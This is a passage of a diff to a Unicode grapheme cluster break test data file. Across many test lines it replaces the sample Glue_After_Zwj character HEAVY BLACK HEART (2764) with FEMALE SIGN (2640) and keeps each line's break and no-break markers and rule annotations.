+÷ 261D × 0308 ÷ 2640 ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 261D ÷ 1F466 ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 261D × 0308 ÷ 1F466 ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 261D ÷ 0378 ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -613,8 +614,8 @@
 ÷ 1F3FB × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 1F3FB × 200D ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 1F3FB × 0308 × 200D ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 1F3FB ÷ 2764 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 1F3FB × 0308 ÷ 2764 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 1F3FB ÷ 2640 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1F3FB × 0308 ÷ 2640 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 1F3FB ÷ 1F466 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1F3FB × 0308 ÷ 1F466 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1F3FB ÷ 0378 ÷	#  ÷ [0.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -653,8 +654,8 @@
 ÷ 200D × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 200D × 200D ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 200D × 0308 × 200D ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 200D × 2764 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 200D × 0308 ÷ 2764 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 200D × 2640 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 200D × 0308 ÷ 2640 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 200D × 1F466 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] BOY (EBG) ÷ [0.3]
 ÷ 200D × 0308 ÷ 1F466 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 200D ÷ 0378 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -661,46 +662,46 @@
 ÷ 200D × 0308 ÷ 0378 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
 ÷ 200D ÷ D800 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) ÷ [5.0] <surrogate-D800> (Control) ÷ [0.3]
 ÷ 200D × 0308 ÷ D800 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] <surrogate-D800> (Control) ÷ [0.3]
-÷ 2764 ÷ 0020 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] SPACE (Other) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0020 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] SPACE (Other) ÷ [0.3]
-÷ 2764 ÷ 000D ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [5.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 2764 × 0308 ÷ 000D ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 2764 ÷ 000A ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [5.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 2764 × 0308 ÷ 000A ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 2764 ÷ 0001 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [5.0] <START OF HEADING> (Control) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0001 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] <START OF HEADING> (Control) ÷ [0.3]
-÷ 2764 × 0300 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING GRAVE ACCENT (Extend) ÷ [0.3]
-÷ 2764 × 0308 × 0300 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] COMBINING GRAVE ACCENT (Extend) ÷ [0.3]
-÷ 2764 ÷ 0600 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] ARABIC NUMBER SIGN (Prepend) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0600 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] ARABIC NUMBER SIGN (Prepend) ÷ [0.3]
-÷ 2764 × 0903 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.1] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [0.3]
-÷ 2764 × 0308 × 0903 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) × [9.1] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [0.3]
-÷ 2764 ÷ 1100 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HANGUL CHOSEONG KIYEOK (L) ÷ [0.3]
-÷ 2764 × 0308 ÷ 1100 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL CHOSEONG KIYEOK (L) ÷ [0.3]
-÷ 2764 ÷ 1160 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HANGUL JUNGSEONG FILLER (V) ÷ [0.3]
-÷ 2764 × 0308 ÷ 1160 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL JUNGSEONG FILLER (V) ÷ [0.3]
-÷ 2764 ÷ 11A8 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HANGUL JONGSEONG KIYEOK (T) ÷ [0.3]
-÷ 2764 × 0308 ÷ 11A8 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL JONGSEONG KIYEOK (T) ÷ [0.3]
-÷ 2764 ÷ AC00 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HANGUL SYLLABLE GA (LV) ÷ [0.3]
-÷ 2764 × 0308 ÷ AC00 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL SYLLABLE GA (LV) ÷ [0.3]
-÷ 2764 ÷ AC01 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HANGUL SYLLABLE GAG (LVT) ÷ [0.3]
-÷ 2764 × 0308 ÷ AC01 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL SYLLABLE GAG (LVT) ÷ [0.3]
-÷ 2764 ÷ 1F1E6 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-÷ 2764 × 0308 ÷ 1F1E6 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-÷ 2764 ÷ 261D ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
-÷ 2764 × 0308 ÷ 261D ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
-÷ 2764 ÷ 1F3FB ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 2764 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 2764 × 200D ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 2764 × 0308 × 200D ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 2764 ÷ 2764 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 2764 × 0308 ÷ 2764 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 2764 ÷ 1F466 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] BOY (EBG) ÷ [0.3]
-÷ 2764 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
-÷ 2764 ÷ 0378 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
-÷ 2764 × 0308 ÷ 0378 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
-÷ 2764 ÷ D800 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [5.0] <surrogate-D800> (Control) ÷ [0.3]
-÷ 2764 × 0308 ÷ D800 ÷	#  ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] <surrogate-D800> (Control) ÷ [0.3]
+÷ 2640 ÷ 0020 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] SPACE (Other) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0020 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] SPACE (Other) ÷ [0.3]
+÷ 2640 ÷ 000D ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [5.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 2640 × 0308 ÷ 000D ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 2640 ÷ 000A ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [5.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 2640 × 0308 ÷ 000A ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 2640 ÷ 0001 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [5.0] <START OF HEADING> (Control) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0001 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] <START OF HEADING> (Control) ÷ [0.3]
+÷ 2640 × 0300 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING GRAVE ACCENT (Extend) ÷ [0.3]
+÷ 2640 × 0308 × 0300 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] COMBINING GRAVE ACCENT (Extend) ÷ [0.3]
+÷ 2640 ÷ 0600 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] ARABIC NUMBER SIGN (Prepend) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0600 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] ARABIC NUMBER SIGN (Prepend) ÷ [0.3]
+÷ 2640 × 0903 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.1] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [0.3]
+÷ 2640 × 0308 × 0903 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) × [9.1] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [0.3]
+÷ 2640 ÷ 1100 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] HANGUL CHOSEONG KIYEOK (L) ÷ [0.3]
+÷ 2640 × 0308 ÷ 1100 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL CHOSEONG KIYEOK (L) ÷ [0.3]
+÷ 2640 ÷ 1160 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] HANGUL JUNGSEONG FILLER (V) ÷ [0.3]
+÷ 2640 × 0308 ÷ 1160 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL JUNGSEONG FILLER (V) ÷ [0.3]
+÷ 2640 ÷ 11A8 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] HANGUL JONGSEONG KIYEOK (T) ÷ [0.3]
+÷ 2640 × 0308 ÷ 11A8 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL JONGSEONG KIYEOK (T) ÷ [0.3]
+÷ 2640 ÷ AC00 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] HANGUL SYLLABLE GA (LV) ÷ [0.3]
+÷ 2640 × 0308 ÷ AC00 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL SYLLABLE GA (LV) ÷ [0.3]
+÷ 2640 ÷ AC01 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] HANGUL SYLLABLE GAG (LVT) ÷ [0.3]
+÷ 2640 × 0308 ÷ AC01 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL SYLLABLE GAG (LVT) ÷ [0.3]
+÷ 2640 ÷ 1F1E6 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 2640 × 0308 ÷ 1F1E6 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 2640 ÷ 261D ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 2640 × 0308 ÷ 261D ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 2640 ÷ 1F3FB ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 2640 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 2640 × 200D ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
+÷ 2640 × 0308 × 200D ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
+÷ 2640 ÷ 2640 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 2640 × 0308 ÷ 2640 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 2640 ÷ 1F466 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 2640 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 2640 ÷ 0378 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0378 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
+÷ 2640 ÷ D800 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [5.0] <surrogate-D800> (Control) ÷ [0.3]
+÷ 2640 × 0308 ÷ D800 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] <surrogate-D800> (Control) ÷ [0.3]
 ÷ 1F466 ÷ 0020 ÷	#  ÷ [0.2] BOY (EBG) ÷ [999.0] SPACE (Other) ÷ [0.3]
 ÷ 1F466 × 0308 ÷ 0020 ÷	#  ÷ [0.2] BOY (EBG) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] SPACE (Other) ÷ [0.3]
 ÷ 1F466 ÷ 000D ÷	#  ÷ [0.2] BOY (EBG) ÷ [5.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
@@ -733,8 +734,8 @@
 ÷ 1F466 × 0308 × 1F3FB ÷	#  ÷ [0.2] BOY (EBG) × [9.0] COMBINING DIAERESIS (Extend) × [10.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 1F466 × 200D ÷	#  ÷ [0.2] BOY (EBG) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 1F466 × 0308 × 200D ÷	#  ÷ [0.2] BOY (EBG) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 1F466 ÷ 2764 ÷	#  ÷ [0.2] BOY (EBG) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 1F466 × 0308 ÷ 2764 ÷	#  ÷ [0.2] BOY (EBG) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 1F466 ÷ 2640 ÷	#  ÷ [0.2] BOY (EBG) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 2640 ÷	#  ÷ [0.2] BOY (EBG) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 1F466 ÷ 1F466 ÷	#  ÷ [0.2] BOY (EBG) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1F466 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] BOY (EBG) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1F466 ÷ 0378 ÷	#  ÷ [0.2] BOY (EBG) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -773,8 +774,8 @@
 ÷ 0378 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] <reserved-0378> (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0378 × 200D ÷	#  ÷ [0.2] <reserved-0378> (Other) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 0378 × 0308 × 200D ÷	#  ÷ [0.2] <reserved-0378> (Other) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 0378 ÷ 2764 ÷	#  ÷ [0.2] <reserved-0378> (Other) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0378 × 0308 ÷ 2764 ÷	#  ÷ [0.2] <reserved-0378> (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0378 ÷ 2640 ÷	#  ÷ [0.2] <reserved-0378> (Other) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0378 × 0308 ÷ 2640 ÷	#  ÷ [0.2] <reserved-0378> (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0378 ÷ 1F466 ÷	#  ÷ [0.2] <reserved-0378> (Other) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0378 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] <reserved-0378> (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0378 ÷ 0378 ÷	#  ÷ [0.2] <reserved-0378> (Other) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -813,8 +814,8 @@
 ÷ D800 ÷ 0308 ÷ 1F3FB ÷	#  ÷ [0.2] <surrogate-D800> (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ D800 ÷ 200D ÷	#  ÷ [0.2] <surrogate-D800> (Control) ÷ [4.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ D800 ÷ 0308 × 200D ÷	#  ÷ [0.2] <surrogate-D800> (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ D800 ÷ 2764 ÷	#  ÷ [0.2] <surrogate-D800> (Control) ÷ [4.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ D800 ÷ 0308 ÷ 2764 ÷	#  ÷ [0.2] <surrogate-D800> (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ D800 ÷ 2640 ÷	#  ÷ [0.2] <surrogate-D800> (Control) ÷ [4.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ D800 ÷ 0308 ÷ 2640 ÷	#  ÷ [0.2] <surrogate-D800> (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ D800 ÷ 1F466 ÷	#  ÷ [0.2] <surrogate-D800> (Control) ÷ [4.0] BOY (EBG) ÷ [0.3]
 ÷ D800 ÷ 0308 ÷ 1F466 ÷	#  ÷ [0.2] <surrogate-D800> (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ D800 ÷ 0378 ÷	#  ÷ [0.2] <surrogate-D800> (Control) ÷ [4.0] <reserved-0378> (Other) ÷ [0.3]
@@ -840,7 +841,7 @@
 ÷ 261D × 1F3FB ÷ 261D ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [10.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 1F466 × 1F3FB ÷	#  ÷ [0.2] BOY (EBG) × [10.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 200D × 1F466 × 1F3FB ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] BOY (EBG) × [10.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 200D × 2764 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
